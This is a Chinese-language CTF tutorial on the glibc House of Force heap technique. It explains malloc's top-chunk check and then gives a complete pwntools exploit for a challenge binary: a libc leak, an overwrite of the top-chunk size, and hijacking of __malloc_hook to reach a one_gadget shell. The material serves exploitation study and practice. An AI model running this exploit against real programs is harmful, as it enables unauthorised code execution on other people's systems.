# house-of-force

漏洞成因

堆溢出写

适用范围

  • 2.23 —— 2.27
  • 可分配任意大小的 chunk
  • 需要泄露或已知地址

# 概要:

堆溢出写 topchunk 的 size,使得 size 值很大。可以申请到一些可利用地址

# 绕过检测:

victim = av->top;// 获取当前 top chunk 的地址
      size = chunksize (victim);// 计算 top chunk 的大小
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
      //MINSIZE 就是堆块的最小 size,32 位程序为 0x10,64 位程序为 0x20
      // 如果 top chunk 的大小大于 nb (程序执行 malloc 需要分配的内存大小)
      // 加上 MINSIZE 的大小,就从 top chunk 中来切一块内存
      // 之所以要加上 MINSIZE 是要保证切割后剩余的内存要是一个完整的堆块
        {
          remainder_size = size - nb;//remainder_size 为切割后的剩余大小
          remainder = chunk_at_offset (victim, nb);//remainder 为切割前 top chunk+nb 的值,也就是切割后 top chunk 的地址
          av->top = remainder;// 更新 top chunk
          // 下面两个 set_head 给切割出去的堆块以及切割后的 top chunk 设置新的 size
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);// 调试用的,这里没用
          void *p = chunk2mem (victim);// 返回用户指针
          alloc_perturb (p, bytes);
          return p;
        }

# 利用思路:

  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数
  • 分配很大的 chunk 到任意已知地址

# 例题:

https://github.com/Yhuanhuan01/CTF_Pwn_Game/tree/main/house-of-force

image-20240719085105073

unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&count; *i; ++i )
    ;
  if ( (char *)i - (char *)&count > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);//size 大小没判断
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);// 可以堆溢出
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

根据上面代码,size 大小可以申请很大(2.23-2.27),并且大小小于 0x50 的 chunk 可以进行堆溢出。可以想到利用 HOF

首先第一步,泄露 libc,利用可以申请很大的特点,我们可以申请超大内存,获取 libc 地址。

addr = Add(1000000,12,b'aaaaaaaa')#用 mapp 分配,泄露 libc

接下来劫持 malloc_hook,但是劫持 malloc_hook 不太行,用 realloc 调整栈帧即可

# 完整 exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './2.23-0ubuntu11.3_amd64/libc-2.23.so'
# host, port = ":".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def meau(idx):
	sla( b'2:puts\n',str(idx))
def Add(sz,num,ct):
	meau(1)
	sla(b"size\n",str(sz))
	ru("bin addr 0x")
	addr = int(rc(num),16)
	sa(b"content\n",ct)
	return addr
# debug()
addr = Add(1000000,12,b'aaaaaaaa')#用 mapp 分配,泄露 libc
libcbase = addr - 7344144
lg("addr")
lg("libcbase")
# debug()
pay = padding(0x28) + p64(0xffffffffffff)
addr_1 = Add(0x20,12,pay)
top_chunk = addr_1 + 0x20
lg("addr_1")
lg("top_chunk")
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['__libc_realloc']
lg("malloc_hook")
lg("realloc")
offset_m = malloc_hook - top_chunk - 0x33
offset_r = realloc - top_chunk
ogg = [0x4527a,0xf03a4,0xf1247]
og = ogg[0] + libcbase
pl = padding(8)+p64(realloc+0x10)+p64(og)
# debug()
Add(offset_m,12,b'pay\0')
Add(0x20,12,pl)
meau(1)
sla(b"size\n",str(0x20))
it()

参考

https://www.cnblogs.com/ZIKH26/articles/16533388.html

https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#23-house-of-force